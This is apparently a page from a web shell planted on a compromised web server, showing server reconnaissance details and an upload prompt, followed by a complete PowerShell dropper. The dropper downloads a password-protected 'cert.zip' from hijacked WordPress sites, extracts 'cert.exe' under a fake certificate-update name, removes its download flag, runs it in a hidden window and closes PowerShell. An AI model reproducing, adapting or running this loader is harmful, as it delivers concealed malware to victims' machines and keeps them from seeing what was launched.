| Server IP : 31.214.178.15 / Your IP : 216.73.216.203 Web Server : Apache System : Linux hostingsrv90.dondominio.com 6.12.95+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.95-1 (2026-07-04) x86_64 User : ( 1057117) PHP Version : 8.5.8 Disable Function : system,passthru,popen,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,exec,ini_alter,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,mail,eval MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /hosting/www/juanserraburguera.com/public/ |
Upload File : |
$ErrorActionPreference = "Stop";
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;
$urls = @("https://juanserraburguera.com/wp-content/cert.zip", "https://www.ischia.si/wp-content/cert.zip");
$pw = '1488228!!';
$z = "$env:TEMP\cert.zip";
$d = "$env:LOCALAPPDATA\cert_update";
$exe = "$d\cert.exe";
$appName = "MyPrivateSoftware";
function Get-ArchiveTools {
$tools = @()
$paths = @(
@{Name="7-Zip"; Type="7z"; Path="C:\Program Files\7-Zip\7z.exe"},
@{Name="7-Zip x86"; Type="7z"; Path="C:\Program Files (x86)\7-Zip\7z.exe"},
@{Name="7-Zip PATH"; Type="7z"; Path=(Get-Command 7z.exe -ErrorAction SilentlyContinue).Source},
@{Name="7-Zip Standalone PATH"; Type="7z"; Path=(Get-Command 7za.exe -ErrorAction SilentlyContinue).Source},
@{Name="WinRAR"; Type="winrar"; Path="C:\Program Files\WinRAR\WinRAR.exe"},
@{Name="WinRAR x86"; Type="winrar"; Path="C:\Program Files (x86)\WinRAR\WinRAR.exe"}
)
foreach($item in $paths){
if($item.Path -and (Test-Path $item.Path)){
$full = (Resolve-Path $item.Path).Path
if(-not ($tools | Where-Object { $_.Path -eq $full })){
$tools += [PSCustomObject]@{
Name = $item.Name
Type = $item.Type
Path = $full
}
}
}
}
return $tools
}
function Expand-PasswordZipFallback {
param(
[string]$ZipPath,
[string]$OutDir,
[string]$Password,
[string]$ExpectedExe
)
$tools = Get-ArchiveTools
if(!$tools -or $tools.Count -eq 0){
throw "No supported archive tool found. Install 7-Zip or WinRAR."
}
foreach($tool in $tools){
try{
Write-Host "Trying extractor: $($tool.Name) -> $($tool.Path)"
Remove-Item $OutDir -Recurse -Force -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force -Path $OutDir | Out-Null
if($tool.Type -eq "7z"){
& $tool.Path x $ZipPath "-p$Password" "-o$OutDir" -y
$code = $LASTEXITCODE
}
elseif($tool.Type -eq "winrar"){
$p = Start-Process -FilePath $tool.Path -ArgumentList @(
"x",
"-p$Password",
"-o+",
"-y",
"-ibck",
$ZipPath,
"$OutDir\"
) -Wait -PassThru
$code = $p.ExitCode
}
else{ continue }
if($code -ne 0){ throw "Extractor exit code: $code" }
if(Test-Path $ExpectedExe){
Write-Host "Extraction OK with $($tool.Name)"
return $true
}
$found = Get-ChildItem -Path $OutDir -Recurse -Filter "cert.exe" -File -ErrorAction SilentlyContinue | Select-Object -First 1
if($found){
Write-Host "Extraction OK, but cert.exe is nested here: $($found.FullName)"
# Update $exe path if it was nested
$script:exe = $found.FullName
return $true
}
throw "Extraction completed, but cert.exe not found"
}
catch{
Write-Warning "$($tool.Name) failed: $($_.Exception.Message)"
}
}
throw "ZIP extraction failed with all available extractors."
}
# Download Phase
$ok = $false;
foreach($u in $urls){
if([string]::IsNullOrEmpty($u)) { continue }
for($i=1; $i -le 3 -and -not $ok; $i++){
try{
Write-Host "Download attempt $i from $u";
Remove-Item $z -Force -ErrorAction SilentlyContinue;
Invoke-WebRequest -Uri $u -OutFile $z -UseBasicParsing -TimeoutSec 60 -ErrorAction Stop;
if((Test-Path $z) -and ((Get-Item $z).Length -gt 10240)){
$ok = $true;
break;
} else {
throw "Downloaded ZIP is empty or too small";
}
}
catch{
Write-Warning "Failed: $($_.Exception.Message)";
Start-Sleep -Seconds 3;
}
}
};
if(!$ok){ Write-Error "Download failed from all URLs"; exit 1 }
# Extraction Phase
Expand-PasswordZipFallback -ZipPath $z -OutDir $d -Password $pw -ExpectedExe $exe
# Post-Extraction
Unblock-File $exe -ErrorAction SilentlyContinue;
Remove-Item $z -Force -ErrorAction SilentlyContinue;
Write-Host "Extracted OK:" $d;
Write-Host "File:" $exe;
# Execution
Start-Process -FilePath $exe -WindowStyle Hidden
# Force close the PowerShell window completely
[Environment]::Exit(0)
# Force close the PowerShell window
Stop-Process -Id $PID